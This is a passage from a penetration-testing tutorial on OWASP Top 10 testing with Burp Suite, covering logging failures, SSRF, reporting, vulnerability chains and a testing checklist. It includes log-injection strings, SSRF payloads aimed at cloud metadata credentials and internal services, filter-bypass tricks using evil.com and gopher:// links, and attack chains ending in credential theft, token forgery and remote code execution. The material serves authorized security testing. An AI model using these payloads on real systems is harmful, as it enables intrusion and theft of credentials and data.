does the application log them? Does it alert after N failures?\n- **Access control violations** \u2014 are unauthorized access attempts logged?\n- **Input validation failures** \u2014 are injection attempts logged and alerted?\n- **Application errors** \u2014 are they caught and logged properly?\n- **Administrative actions** \u2014 are they audited?\n\n### 11.3 How to Test with Burp Suite\n\n#### Log Injection via Repeater\n\n1. Identify fields that might be logged (username, search queries, User-Agent).\n2. In Repeater, inject log-manipulation payloads:\n```\n# Inject fake log entries\nusername=admin%0a[2026-03-14 12:00:00] INFO: User admin logged in successfully\n\n# CRLF injection in logs\nUser-Agent: Mozilla/5.0%0d%0a[INFO] Fake log entry\n```\n\n3. If the application logs these without sanitization, an attacker can:\n   - Forge log entries to cover tracks\n   - Inject misleading information\n   - Exploit log viewers (XSS in log dashboards)\n\n#### Testing Detection Capabilities with Active Scanning\n\n1. Run an active scan against the application using Burp Scanner.\n2. Use **Turbo Intruder** to send rapid brute-force attempts.\n3. After testing, ask the application owner:\n   - Were alerts generated?\n   - Were the attack attempts visible in logs?\n   - Were there automated blocks or rate limiting?\n4. If the security team was unaware of your (authorized) testing, logging and monitoring is insufficient.\n\n#### Sensitive Data in Logs via Logger++\n\n1. Install **Logger++**.\n2. Configure grep rules to find logging of sensitive data:\n   - Responses containing `password`, `token`, `secret` in log-related endpoints\n   - Error pages that dump request parameters including sensitive fields\n\n### 11.4 Reporting\n\n```markdown\n## Vulnerability Report: Insufficient Logging & Monitoring\n\n**Severity:** Medium (CVSS 5.3) \u2014 enables other attacks to go undetected\n**Scope:** Application-wide\n\n### Findings\n1. **No brute-force detection:** 10,000 failed login attempts within 60 seconds \n   triggered no alerts or account lockouts\n2. **Log injection possible:** Username field not sanitized before logging, \n   allowing attackers to forge log entries\n3. **Missing audit trail:** Administrative actions (user deletion, role changes) \n   are not logged\n4. **No SIEM integration:** Logs are stored only on the application server \n   with no centralized monitoring\n\n### Evidence\n- Burp Intruder attack: 10,000 requests, 0 blocks, 0 rate limits\n- Log injection PoC: [Screenshot of forged log entry]\n\n### Remediation\n- Implement centralized logging (ELK Stack, Splunk, or cloud SIEM)\n- Add alerting for: failed logins (>5/min), access control violations, \n  injection attempts, anomalous data access patterns\n- Sanitize all user input before logging\n- Implement audit trails for all administrative and high-value actions\n- Ensure log integrity (append-only, cryptographically signed)\n```\n\n---\n\n\n## 12. A10:2021 \u2013 Server-Side Request Forgery (SSRF)\n\n### 12.1 What It Is\n\nSSRF occurs when a web application fetches a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or network ACL. The server becomes a proxy for the attacker, enabling access to:\n\n- **Internal services** not exposed to the internet (localhost services, admin panels)\n- **Cloud metadata endpoints** (AWS `169.254.169.254`, GCP, Azure)\n- **Internal network scanning** and service enumeration\n- **Reading internal files** via `file://` protocol\n- **Bypassing access controls** by making requests from a trusted source IP\n\n### 12.2 Where to Find It\n\n- **URL/webhook input fields** \u2014 \"Enter URL to fetch\", \"Add webhook\"\n- **PDF generators** \u2014 HTML-to-PDF services that fetch external resources\n- **Image/file processors** \u2014 \"Upload from URL\" functionality\n- **API integrations** \u2014 endpoints that proxy requests to third-party services\n- **Import functionality** \u2014 \"Import from URL\" (RSS feeds, OPML, etc.)\n- **Preview features** \u2014 \"Preview link\", URL unfurling (like Slack/Discord)\n- **SVG processing** \u2014 SVG files can contain external references\n\n### 12.3 How It Works\n\n```\n# Normal request (intended use)\nPOST /api/fetch-url\n{\"url\": \"https://example.com/feed.xml\"}\n\n# SSRF attack: Access internal metadata (AWS)\nPOST /api/fetch-url\n{\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}\n\n# SSRF attack: Internal port scanning\nPOST /api/fetch-url\n{\"url\": \"http://192.168.1.1:8080/admin\"}\n\n# SSRF attack: File read\nPOST /api/fetch-url\n{\"url\": \"file:///etc/passwd\"}\n```\n\n### 12.4 How to Exploit with Burp Suite\n\n#### Detection with Collaborator Everywhere\n\n1. Install **Collaborator Everywhere**.\n2. Browse the target \u2014 the extension automatically inserts Collaborator URLs into various headers and parameters.\n3. Check the **Collaborator** tab for incoming interactions.\n4. DNS or HTTP interactions from the server indicate potential SSRF vectors.\n\n#### Manual Testing with Repeater\n\n1. Capture a request that takes a URL parameter.\n2. In Repeater, test with Burp Collaborator URL:\n```\nurl=http://YOUR-COLLABORATOR-ID.burpcollaborator.net\n```\n3. Check Collaborator for interaction (confirms server-side fetch).\n\n4. Escalate by targeting internal resources:\n```\n# Localhost\nurl=http://127.0.0.1/admin\nurl=http://localhost:8080/management\n\n# AWS metadata\nurl=http://169.254.169.254/latest/meta-data/\nurl=http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# Internal network\nurl=http://192.168.0.1/\nurl=http://10.0.0.1:3306/  (MySQL)\nurl=http://10.0.0.1:6379/  (Redis)\n```\n\n#### Bypass Techniques in Repeater\n\nWhen basic payloads are blocked, use bypass techniques:\n\n```\n# IP address obfuscation\nurl=http://2130706433/         # 127.0.0.1 as decimal\nurl=http://0x7f000001/         # 127.0.0.1 as hex\nurl=http://0177.0.0.1/         # 127.0.0.1 as octal\nurl=http://127.1/              # Shortened\nurl=http://[::1]/              # IPv6 localhost\n\n# URL parsing confusion\nurl=http://evil.com@127.0.0.1/\nurl=http://127.0.0.1#@evil.com/\nurl=http://127.0.0.1%2523@evil.com/\n\n# DNS rebinding (requires your own domain)\nurl=http://make-127-0-0-1.nip.io/\n\n# Protocol switching\nurl=gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a\nurl=dict://127.0.0.1:6379/INFO\nurl=file:///etc/passwd\n\n# Redirect-based bypass (host your own redirect)\nurl=https://your-server.com/redirect?target=http://169.254.169.254/\n```\n\nUse **Hackvertor** for encoding payloads:\n```\nurl=<@url_encode>http://169.254.169.254/latest/meta-data/<@/url_encode>\n```\n\n#### Blind SSRF Detection with Taborator\n\n1. Install **Taborator** (enhanced Collaborator client).\n2. Use Collaborator payloads in SSRF vectors.\n3. Taborator provides enhanced visibility into incoming interactions:\n   - DNS queries\n   - HTTP requests (with full headers and body)\n   - SMTP interactions\n4. Even if the response is not reflected back (blind SSRF), interactions confirm the vulnerability.\n\n#### Internal Port Scanning with Intruder\n\n1. Capture the SSRF request.\n2. Send to Intruder.\n3. Set the port as the payload position: `url=http://127.0.0.1:\u00a7port\u00a7/`\n4. Use a Numbers payload: 1\u201365535 (or a common ports list).\n5. Analyze results:\n   - Different response sizes/times indicate open ports\n   - Connection refused = closed port\n   - Timeout = filtered port\n\n### 12.5 Reporting\n\n```markdown\n## Vulnerability Report: Server-Side Request Forgery (SSRF)\n\n**Severity:** Critical (CVSS 9.1)\n**Endpoint:** POST /api/integrations/webhook-test\n**Affected Parameter:** `callback_url` (JSON body)\n\n### Description\nThe webhook testing feature allows users to specify a URL that the server \nfetches. The application does not validate or restrict the URL scheme, \nhost, or port, allowing an attacker to make requests to internal services, \ncloud metadata endpoints, and arbitrary internal/external hosts from the \nserver's network perspective.\n\n### Steps to Reproduce\n\n#### 1. Basic SSRF Confirmation\nPOST /api/integrations/webhook-test\n{\"callback_url\": \"http://COLLABORATOR-ID.burpcollaborator.net\"}\n\u2192 HTTP interaction received in Collaborator\n\n#### 2. AWS Metadata Exfiltration\nPOST /api/integrations/webhook-test\n{\"callback_url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}\n\u2192 Response contains IAM role name: \"web-server-role\"\n\nPOST /api/integrations/webhook-test\n{\"callback_url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-server-role\"}\n\u2192 Response contains temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)\n\n#### 3. Internal Network Discovery\nPOST /api/integrations/webhook-test\n{\"callback_url\": \"http://10.0.0.5:8080/\"}\n\u2192 Internal Jenkins dashboard HTML returned\n\n### Impact\n- **AWS account compromise** via stolen IAM credentials\n- **Internal network access** \u2014 attacker can scan and interact with internal services\n- **Data exfiltration** \u2014 read files via file:// protocol\n- **Lateral movement** \u2014 access internal admin panels, databases, caches\n\n### Remediation\n- Implement URL allowlisting (only allow specific, known-good domains)\n- Block private IP ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x, 127.x.x.x, 169.254.x.x)\n- Block non-HTTP(S) protocols (file://, gopher://, dict://)\n- Use a dedicated network segment for URL fetching with no access to internal services\n- Implement IMDSv2 for AWS metadata endpoint access\n- Apply network-level egress filtering\n```\n\n---\n\n\n## 13. Professional Reporting Methodology with Burp Suite\n\n### 13.1 Burp Suite Built-In Reporting\n\nBurp Suite Professional includes a comprehensive reporting engine:\n\n1. **Target \u2192 Site Map \u2192 Right-click** \u2192 \"Issues\" \u2192 \"Report issues for this host\"\n2. Select report format: **HTML** (recommended for readability) or **XML** (for integration)\n3. Choose report detail level:\n   - Issue detail\n   - Request/Response pairs\n   - Remediation advice\n4. Generate the report \u2014 it includes all Scanner findings with evidence.\n\n### 13.2 Report Structure Best Practices\n\nEvery vulnerability report should follow this structure:\n\n```markdown\n# Penetration Test Report: [Target Application]\n\n## Executive Summary\n- Scope, timeline, methodology\n- Critical findings overview\n- Risk rating summary (Critical: X, High: X, Medium: X, Low: X, Info: X)\n\n## Methodology\n- OWASP Top 10 Testing Guide\n- Tools used (Burp Suite Professional + specific extensions)\n- Testing approach (automated + manual)\n\n## Findings\n\n### Finding #[N]: [Vulnerability Name]\n\n**Severity:** [Critical/High/Medium/Low/Informational]\n**CVSS Score:** [0.0-10.0] with vector string\n**CWE ID:** [CWE-XXX]\n**OWASP Category:** [A0X:2021]\n**Status:** [Open/Confirmed/Fixed/Accepted Risk]\n\n#### Description\n[Clear explanation of the vulnerability and why it matters]\n\n#### Affected Endpoints\n| Method | URL | Parameter |\n|--------|-----|-----------|\n| POST | /api/login | username |\n\n#### Steps to Reproduce\n[Numbered steps that anyone can follow to reproduce the finding]\n[Include exact Burp Suite screenshots with timestamps]\n\n#### Proof of Concept\n[Burp Repeater requests/responses]\n[Code snippets if applicable]\n\n#### Impact Analysis\n[Business impact \u2014 what can an attacker actually do?]\n[Data affected, compliance implications, reputational risk]\n\n#### Remediation Recommendations\n[Specific, actionable fixes ranked by effectiveness]\n[Code examples where possible]\n\n#### References\n[CVE IDs, OWASP links, relevant standards]\n```\n\n### 13.3 Using Burp Organizer for Report Preparation\n\n1. During testing, use **Organizer** (Burp \u2192 Organizer) to:\n   - Add notes to interesting findings\n   - Tag requests with severity levels\n   - Group related findings\n2. Use **Logger++** with saved grep rules to export evidence.\n3. Take **screenshots** of Repeater/Intruder showing the exploitation.\n4. Export request/response pairs from Repeater (Right-click \u2192 \"Copy as curl command\" or \"Save item\").\n\n### 13.4 Severity Scoring with CVSS\n\nUse CVSS v3.1 for consistent scoring:\n\n| Factor | Consideration |\n|--------|---------------|\n| Attack Vector | Network (remote) vs. Local |\n| Attack Complexity | Low (easily reproducible) vs. High |\n| Privileges Required | None vs. Low vs. High |\n| User Interaction | None vs. Required |\n| Scope | Changed vs. Unchanged |\n| Confidentiality Impact | None / Low / High |\n| Integrity Impact | None / Low / High |\n| Availability Impact | None / Low / High |\n\n### 13.5 Bug Bounty Platform Reporting Tips\n\nWhen reporting to bug bounty programs (HackerOne, Bugcrowd, Intigriti):\n\n1. **Title:** Clear, specific, and impactful (e.g., \"IDOR in /api/users allows accessing any user's PII\" not \"Access control issue\")\n2. **Severity:** Be honest \u2014 over-inflating severity reduces credibility\n3. **Proof of Concept:** Minimal, reproducible, and non-destructive\n4. **Impact:** Focus on real-world business impact\n5. **Remediation:** Show you understand the fix (builds trust)\n6. **Attachments:** Include Burp screenshots, HTTP request/response evidence\n7. **Never:** Access more data than necessary to prove the vulnerability\n8. **Always:** Follow the program's responsible disclosure policy\n\n---\n\n\n## 14. Conclusion\n\n\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502              RECONNAISSANCE PHASE                     \u2502\n\u2502  \u2022 Proxy: Browse and map the application              \u2502\n\u2502  \u2022 Target \u2192 Site Map: Understand structure             \u2502\n\u2502  \u2022 Param Miner: Discover hidden parameters            \u2502\n\u2502  \u2022 Collaborator Everywhere: Detect OOB interactions   \u2502\n\u2502  \u2022 Retire.js: Identify vulnerable JS libraries        \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                       \u2502\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502              AUTOMATED SCANNING PHASE                 \u2502\n\u2502  \u2022 Burp Scanner: Full active scan (in scope only)     \u2502\n\u2502  \u2022 Active Scan++: Extended vulnerability checks       \u2502\n\u2502  \u2022 Backslash Powered Scanner: Advanced injection      \u2502\n\u2502  \u2022 Software Vulnerability Scanner: Component checks   \u2502\n\u2502  \u2022 HTTP Request Smuggler: Desync detection            \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                       \u2502\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502              MANUAL TESTING PHASE                     \u2502\n\u2502  \u2022 Autorize: Systematic access control testing        \u2502\n\u2502  \u2022 AuthMatrix: Multi-role authorization matrix        \u2502\n\u2502  \u2022 Repeater: Manual injection, SSRF, logic testing    \u2502\n\u2502  \u2022 Intruder: Fuzzing, brute-forcing, enumeration      \u2502\n\u2502  \u2022 Turbo Intruder: Race conditions, rate limit tests  \u2502\n\u2502  \u2022 JWT Editor / JOSEPH: Token manipulation            \u2502\n\u2502  \u2022 Sequencer: Session token entropy analysis          \u2502\n\u2502  \u2022 Hackvertor: Payload encoding for WAF bypass        \u2502\n\u2502  \u2022 InQL: GraphQL introspection & attack               \u2502\n\u2502  \u2022 Upload Scanner: File upload vulnerability testing  \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                       \u2502\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502              VALIDATION PHASE                         \u2502\n\u2502  \u2022 Repeater: Confirm each finding is reproducible     \u2502\n\u2502  \u2022 Comparer: Diff responses to prove impact           \u2502\n\u2502  \u2022 Decoder: Decode/encode data for evidence           \u2502\n\u2502  \u2022 Logger++: Grep across all traffic for patterns     \u2502\n\u2502  \u2022 Organizer: Tag and categorize confirmed findings   \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                       \u2502\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502              REPORTING PHASE                          \u2502\n\u2502  \u2022 Burp Reporter: Generate HTML/XML reports           \u2502\n\u2502  \u2022 Organizer: Export notes and tagged findings        \u2502\n\u2502  \u2022 Logger++: Export evidence logs                     \u2502\n\u2502  \u2022 Manual: Write executive summary & recommendations  \u2502\n\u2502  \u2022 CVSS Calculator: Score each finding consistently   \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n---\n\n## 14.1 OWASP Top 10 \u2194 Burp Suite Plugin Quick-Reference Matrix\n\nThis matrix gives you an at-a-glance lookup for which Burp Suite tools and plugins to use for each OWASP vulnerability category:\n\n| OWASP Category | Primary Burp Tool | Key Plugins | Detection Method |\n|---|---|---|---|\n| **A01** Broken Access Control | Repeater, Intruder | **Autorize**, **AuthMatrix**, Param Miner | Swap session tokens, fuzz IDs, matrix testing |\n| **A02** Cryptographic Failures | Sequencer, Scanner | **JWT Editor**, **JOSEPH**, Logger++ | Token entropy, passive scan, header analysis |\n| **A03** Injection | Scanner, Repeater, Intruder | **Backslash Powered Scanner**, **Active Scan++**, **Hackvertor**, **Collaborator Everywhere** | Active scanning, manual payload injection, OOB detection |\n| **A04** Insecure Design | Repeater, Proxy | **Turbo Intruder** | Business logic testing, race conditions, workflow bypass |\n| **A05** Security Misconfiguration | Scanner, Repeater | **Param Miner**, **CSP Auditor**, **Active Scan++** | Header analysis, hidden params, method testing, XXE |\n| **A06** Vulnerable Components | Passive Scanner | **Retire.js**, **Software Vulnerability Scanner** | Library fingerprinting, version detection |\n| **A07** Auth Failures | Intruder, Sequencer | **Turbo Intruder**, Logger++ | Brute-force, enumeration, token analysis |\n| **A08** Integrity Failures | Repeater, Decoder | **Java Deserialization Scanner**, **JWT Editor** | Serialized data manipulation, signature bypass |\n| **A09** Logging Failures | Repeater, Intruder | **Logger++**, **Turbo Intruder** | Log injection, detection testing, rapid attack simulation |\n| **A10** SSRF | Repeater, Intruder | **Collaborator Everywhere**, **Taborator**, **Hackvertor** | URL manipulation, OOB detection, internal scanning |\n\n---\n\n## 14.2 Advanced Exploitation Chains: Combining OWASP Categories\n\nIn real-world engagements, the most devastating attacks are not single vulnerabilities \u2014 they are **chains** that combine multiple OWASP categories. Burp Suite excels at facilitating these chains because all tools share the same HTTP history and session state.\n\n### Chain Example 1: SSRF \u2192 Cryptographic Failure \u2192 Broken Access Control\n\n```\nStep 1 (A10 - SSRF):\n  POST /api/fetch-preview\n  {\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role\"}\n  \u2192 Retrieve AWS temporary credentials from metadata endpoint\n\nStep 2 (A02 - Cryptographic Failure):\n  Use stolen AWS credentials to access S3 bucket containing\n  application configuration files with database credentials\n  and JWT signing keys stored in plaintext\n\nStep 3 (A01 - Broken Access Control):\n  Forge a JWT token with admin role using the stolen signing key\n  \u2192 Full administrative access to the application\n```\n\n**In Burp Suite:**\n1. Use **Repeater** for the SSRF payload to extract AWS credentials.\n2. Use **Decoder** to decode any Base64-encoded configuration files.\n3. Use **JWT Editor** to forge a new token with the stolen signing key.\n4. Use **Repeater** again to send authenticated admin requests with the forged token.\n\n### Chain Example 2: Security Misconfiguration \u2192 Injection \u2192 Integrity Failure\n\n```\nStep 1 (A05 - Security Misconfiguration):\n  Discover debug endpoint via Param Miner: GET /api/debug?mode=verbose\n  \u2192 Application exposes verbose SQL error messages\n\nStep 2 (A03 - Injection):\n  Leverage verbose errors for error-based SQL injection\n  \u2192 Extract admin password hashes from the database\n  \u2192 Discover the application uses MD5 without salt (A02)\n\nStep 3 (A08 - Integrity Failure):\n  Use Decoder to identify MD5 hashes \u2192 crack with rainbow tables\n  \u2192 Authenticate as admin\n  \u2192 Discover admin can upload serialized Java objects\n  \u2192 Exploit insecure deserialization for RCE\n```\n\n### Chain Example 3: Authentication Failure \u2192 Insecure Design \u2192 Data Exfiltration\n\n```\nStep 1 (A07 - Authentication Failure):\n  Use Intruder to enumerate valid usernames via different error messages\n  \"Invalid password\" vs \"User not found\"\n\nStep 2 (A07 - Authentication Failure):\n  Use Turbo Intruder to brute-force the 4-digit OTP on password reset\n  (no rate limiting \u2014 A04 Insecure Design)\n\nStep 3 (A04 - Insecure Design):\n  After resetting the password, discover the password reset flow\n  doesn't invalidate other active sessions (session fixation variant)\n\nStep 4 (A01 - Broken Access Control):\n  Use Autorize to discover the compromised account can access\n  other users' data via IDOR in /api/users/{id}/documents\n\nStep 5 (A09 - Logging Failure):\n  None of the above triggered any alerts or account lockouts\n```\n\n---\n\n## 14.3 Burp Suite Configuration Profiles for OWASP Testing\n\n### Profile 1: Stealth/Passive (Initial Reconnaissance)\n\n```\nScanner:\n  \u2611 Passive scanning only\n  \u2610 Active scanning disabled\n  \nProxy:\n  \u2611 Intercept off (passive observation)\n  \u2611 Record all traffic to Logger++\n  \nExtensions:\n  \u2611 Retire.js (passive)\n  \u2611 CSP Auditor (passive)\n  \u2611 Logger++ with sensitive data grep rules\n  \u2610 Collaborator Everywhere (OFF \u2014 generates active traffic)\n  \u2610 Param Miner (OFF \u2014 generates active traffic)\n\nIntruder/Turbo Intruder:\n  \u2610 Not used in this phase\n\nPurpose: Understand the application without generating attack traffic.\n         Map endpoints, identify technologies, spot low-hanging fruit.\n```\n\n### Profile 2: Active Scanning (Automated Discovery)\n\n```\nScanner:\n  \u2611 Active scanning enabled\n  \u2611 Scan scope: In-scope items only\n  \u2611 Scan speed: Normal (not \"Fast\" \u2014 avoid overwhelming target)\n  \u2611 Scan configuration: \"Audit checks - all except time-based detection\"\n  \nExtensions:\n  \u2611 Active Scan++\n  \u2611 Backslash Powered Scanner\n  \u2611 Collaborator Everywhere\n  \u2611 HTTP Request Smuggler\n  \u2611 Software Vulnerability Scanner\n  \u2611 Param Miner (background parameter guessing)\n\nScanner Insertion Points:\n  \u2611 URL path parameters\n  \u2611 URL query string parameters\n  \u2611 Body parameters\n  \u2611 Cookie values\n  \u2611 Parameter names\n  \u2611 HTTP headers (selected)\n  \u2610 Entire body (disable unless specifically needed)\n\nPurpose: Comprehensive automated vulnerability discovery.\n```\n\n### Profile 3: Manual Deep-Dive (Targeted Exploitation)\n\n```\nProxy:\n  \u2611 Intercept on (selective)\n  \u2611 Match & Replace rules configured for testing\n  \nRepeater:\n  \u2611 Follow redirections: Never (manual control)\n  \u2611 Auto-update Content-Length: Yes\n  \nIntruder:\n  \u2611 Payload processing rules configured\n  \u2611 Grep - Match/Extract rules configured\n  \u2611 Resource pool: 10 concurrent requests max\n  \nExtensions:\n  \u2611 Autorize (with low-priv cookie configured)\n  \u2611 AuthMatrix (with role matrix defined)\n  \u2611 JWT Editor\n  \u2611 Hackvertor\n  \u2611 Turbo Intruder (for race conditions)\n  \u2611 Taborator (enhanced Collaborator)\n\nPurpose: Targeted manual testing of specific vulnerabilities.\n         Exploit confirmed findings, test business logic,\n         chain vulnerabilities together.\n```\n\n---\n\n## 14.4 Common Pitfalls and How to Avoid Them\n\n### Pitfall 1: Scope Creep\n**Problem:** Testing assets outside the authorized scope.\n**Solution:** Always configure **Target \u2192 Scope** before starting. Enable **\"Use Suite Scope\"** in all Burp tools. Use Logger++ to verify no out-of-scope requests were sent. Double-check your scope agreement before every test.\n\n### Pitfall 2: Missing Hidden Functionality\n**Problem:** Only testing what's visible in the browser.\n**Solution:** Use **Param Miner** for hidden parameters. Check `robots.txt`, `sitemap.xml`, and `.well-known` paths. Use **Content Discovery** (Engagement Tools \u2192 Discover Content) to brute-force directories and files. Examine JavaScript files for hidden API endpoints using **JS Link Finder** or manual review.\n\n### Pitfall 3: Ignoring Non-Standard Input Vectors\n**Problem:** Only testing form fields and URL parameters.\n**Solution:** Test HTTP headers (`X-Forwarded-For`, `Referer`, `User-Agent`), cookie values, JSON/XML request bodies, WebSocket messages (Burp has a WebSocket history tab), multipart form data, and file upload filenames. Use **Collaborator Everywhere** to automatically inject into headers.\n\n### Pitfall 4: Destructive Testing\n**Problem:** Accidentally deleting data, locking accounts, or causing outages.\n**Solution:** Never test `DELETE` methods on production data without confirmation. Use unique test accounts that won't affect real users. Avoid SQL injection payloads like `DROP TABLE` or `UPDATE` statements \u2014 always use `SELECT`-based extraction. Rate-limit your Intruder and Turbo Intruder attacks. Always have an emergency contact at the target organization.\n\n### Pitfall 5: Insufficient Evidence\n**Problem:** Filing a report without adequate proof.\n**Solution:** For every finding, capture:\n- The exact **Repeater request and response** (Burp \u2192 right-click \u2192 \"Copy as curl\" or save the item)\n- **Screenshots** with timestamps\n- **Intruder results** showing the statistical difference\n- **Sequencer analysis** reports for token issues\n- **Autorize/AuthMatrix** results for access control issues\n- **Collaborator interaction** evidence for OOB vulnerabilities\n\n### Pitfall 6: False Positives from Automated Scanning\n**Problem:** Reporting scanner findings without manual verification.\n**Solution:** **Every** scanner finding must be verified manually in **Repeater** before reporting. Burp Scanner classifies confidence as \"Certain,\" \"Firm,\" or \"Tentative\" \u2014 always verify \"Tentative\" findings. Compare with Comparer to validate the difference between injected and non-injected responses.\n\n---\n\n## 14.5 Building a Personal OWASP Testing Checklist\n\nUse this checklist during every engagement to ensure complete coverage:\n\n```\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n          OWASP TOP 10 TESTING CHECKLIST (BURP SUITE)\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nPRE-ENGAGEMENT\n  \u25a1 Scope agreement reviewed and signed\n  \u25a1 Emergency contacts confirmed\n  \u25a1 Test accounts provisioned (min 2: high-priv, low-priv)\n  \u25a1 Burp Suite configured (proxy, scope, extensions)\n  \u25a1 VPN/access to testing environment confirmed\n\nA01: BROKEN ACCESS CONTROL\n  \u25a1 Autorize configured and running during browsing\n  \u25a1 IDOR tested on all resource endpoints (user IDs, document IDs, etc.)\n  \u25a1 Vertical privilege escalation tested (user \u2192 admin)\n  \u25a1 Horizontal privilege escalation tested (user A \u2192 user B)\n  \u25a1 Direct URL access to admin functions tested\n  \u25a1 HTTP method override tested (X-HTTP-Method-Override)\n  \u25a1 CORS policy validated\n  \u25a1 Directory traversal tested on file operations\n  \u25a1 API endpoints tested without authentication token\n  \u25a1 JWT claims modified and re-submitted\n\nA02: CRYPTOGRAPHIC FAILURES\n  \u25a1 HTTPS enforcement verified (HTTP \u2192 HTTPS redirect)\n  \u25a1 HSTS header present and correctly configured\n  \u25a1 Cookie flags checked (Secure, HttpOnly, SameSite)\n  \u25a1 Session token entropy analyzed with Sequencer\n  \u25a1 JWT algorithm and signature verified\n  \u25a1 Sensitive data not exposed in URLs\n  \u25a1 Password storage mechanism checked (if observable)\n  \u25a1 TLS version and cipher suite verified\n  \u25a1 Mixed content (HTTP resources on HTTPS pages) checked\n\nA03: INJECTION\n  \u25a1 SQL injection tested on all input parameters\n  \u25a1 XSS tested on all reflected and stored 